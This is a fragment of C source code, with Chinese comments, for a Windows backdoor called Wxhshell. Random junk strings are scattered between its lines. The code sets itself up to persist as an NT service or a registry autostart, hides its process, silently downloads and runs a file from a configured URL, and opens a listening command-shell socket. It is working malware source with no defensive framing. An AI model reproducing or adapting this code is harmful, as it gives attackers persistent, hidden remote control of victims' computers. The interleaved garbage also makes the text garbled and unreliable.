J~4mp\4b ^Ifm1$X} CloseHandle(hProcess); 9<toDg_ EJMd[hMhe hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LwxJ:Kz. if(hProcess==NULL) return 0; 5uahfJk 3e47UquZ HMODULE hMod; DpeJx char procName[255]; q
}>3NCh unsigned long cbNeeded; JZ![:$: qV idtSb if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z2`M8xEiH =nc;~u|] CloseHandle(hProcess); !Q_Wbu\U Ejr'Yzl3_ if(strstr(procName,"services")) return 1; // 以服务启动 ]0 = |?n$7 9-q> W return 0; // 注册表启动 reArXmU<u } ?u?mSO/ vnVT0)Lel // 主模块 @t1pB]O: int StartWxhshell(LPSTR lpCmdLine) )8rF'pxI { 00f'G2n SOCKET wsl; 3**t'iWQ BOOL val=TRUE; [7HBn int port=0; +Ek1~i. struct sockaddr_in door; `''y,{Fs O9_1a=M if(wscfg.ws_autoins) Install(); QdcuV\B} F=w:!tqA port=atoi(lpCmdLine); @mxaZ5Vv} G~bDl:k`A if(port<=0) port=wscfg.ws_port; ~|Ln9f-g cF=W hP*f WSADATA data; w xte if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YEaT_zWG0 wd<{%qK`{ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yEbo`/ ]b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /3^XJb$Sa door.sin_family = AF_INET; rO.[/#p\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); );JWrkpz door.sin_port = htons(port); p%sizn @R%qP>_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IzUpkwN closesocket(wsl); -P|claO0 return 1; 4lc|~Fj++ } 0L8fpGJ 4@Db $PHs if(listen(wsl,2) == INVALID_SOCKET) { r,Xyb` closesocket(wsl); 7=u
Gf$/ return 1; s !2Iui
@
} y9R%%i Wxhshell(wsl); 6("bdx;! WSACleanup(); F<6(Hw#> ^,ISz-4 return 0; <bo)p6S& z_R^C%0k } /ILd|j(e cUG^^3! // 以NT服务方式启动 46e?%0( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &k_*Y-l7] { [ei~Xkzkj DWORD status = 0; i.Y2]1 DWORD specificError = 0xfffffff; iEr?s-or o_mjI: serviceStatus.dwServiceType = SERVICE_WIN32; f sh9-iY8e serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5XHejHn> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R_+:nCB@, serviceStatus.dwWin32ExitCode = 0; \ HUDZ2 s serviceStatus.dwServiceSpecificExitCode = 0; P/1YN serviceStatus.dwCheckPoint = 0; =<Sn&uL serviceStatus.dwWaitHint = 0; hI*v)c EKF4] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T!y 9v5 if (hServiceStatusHandle==0) return; 2AhfQ%Y= OOXSJE1 status = GetLastError(); ,'`yh|}G\ if (status!=NO_ERROR) $"|r7n5[ { Ot\[Ya'' serviceStatus.dwCurrentState = SERVICE_STOPPED; =gR/ t@Ld serviceStatus.dwCheckPoint = 0; inO;Uwlv serviceStatus.dwWaitHint = 0; }cCIYt\RK serviceStatus.dwWin32ExitCode = status; YQHpW>z serviceStatus.dwServiceSpecificExitCode = specificError; y3 N[F SetServiceStatus(hServiceStatusHandle, &serviceStatus); PcT] return; "~ $i# } ([rn.b] 25vjn 1$sW serviceStatus.dwCurrentState = SERVICE_RUNNING; D>W&#A8&y serviceStatus.dwCheckPoint = 0; f9>pMfi:@ serviceStatus.dwWaitHint = 0; <2 [vR|Q* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rm3/R< } 5,^DT15a4P }`QZV_ // 处理NT服务事件,比如:启动、停止 XtZd%
#2}, VOID WINAPI NTServiceHandler(DWORD fdwControl) -o"b$[sf=Z { F::Ki4{jJ switch(fdwControl) srN7 { ;-py h( case SERVICE_CONTROL_STOP: %au>D serviceStatus.dwWin32ExitCode = 0; xsRkO9x serviceStatus.dwCurrentState = SERVICE_STOPPED; svEe@Kt` serviceStatus.dwCheckPoint = 0; U@yhFj_y serviceStatus.dwWaitHint = 0; Et}%)M { _)= e`9% SetServiceStatus(hServiceStatusHandle, &serviceStatus); ub>:dNBN } 4<UAT|L^` return; OZf@cOTWK case SERVICE_CONTROL_PAUSE: V~/@KU8cH serviceStatus.dwCurrentState = SERVICE_PAUSED; M"s:*c_6 break; Gchs$^1`t case SERVICE_CONTROL_CONTINUE: 7.G"U serviceStatus.dwCurrentState = SERVICE_RUNNING; Q~wS2f`) break; L#a!fd case SERVICE_CONTROL_INTERROGATE: =kwz3Wv break; p>?(uGV }; = )3\B SetServiceStatus(hServiceStatusHandle, &serviceStatus); .K4)#oC } 7@gH{p1 U%@C<o
" // 标准应用程序主函数 F?a
63,r int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *74/I>i { Y{dX[^[ zTMLE~w // 获取操作系统版本 4Lk<5Ho OsIsNt=GetOsVer(); cjGN=|`u GetModuleFileName(NULL,ExeFile,MAX_PATH); uc"%uc' @ls/3`E/5E // 从命令行安装 OYWHiXE6] if(strpbrk(lpCmdLine,"iI")) Install(); l{^s4 ^vSSG5 : // 下载执行文件 -"'+#9{h if(wscfg.ws_downexe) { .UX4p
= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0wTOdCvmb WinExec(wscfg.ws_filenam,SW_HIDE); $u, 6x~> } Z6Mjc/ $i<+O,@- if(!OsIsNt) { {0,6-dd5 // 如果时win9x,隐藏进程并且设置为注册表启动 l*wGKg"x3 HideProc(); ,m0M:!hK StartWxhshell(lpCmdLine); & uwOyb } :'q$emtY else #M!{D if(StartFromService()) b[:m[^ // 以服务方式启动 WB'1_a StartServiceCtrlDispatcher(DispatchTable); / s Apj else ^%Y-~yB- // 普通方式启动 :,qvqh][ StartWxhshell(lpCmdLine); XGe;v~L W<^t2 j' return 0; *6u2c%^ }
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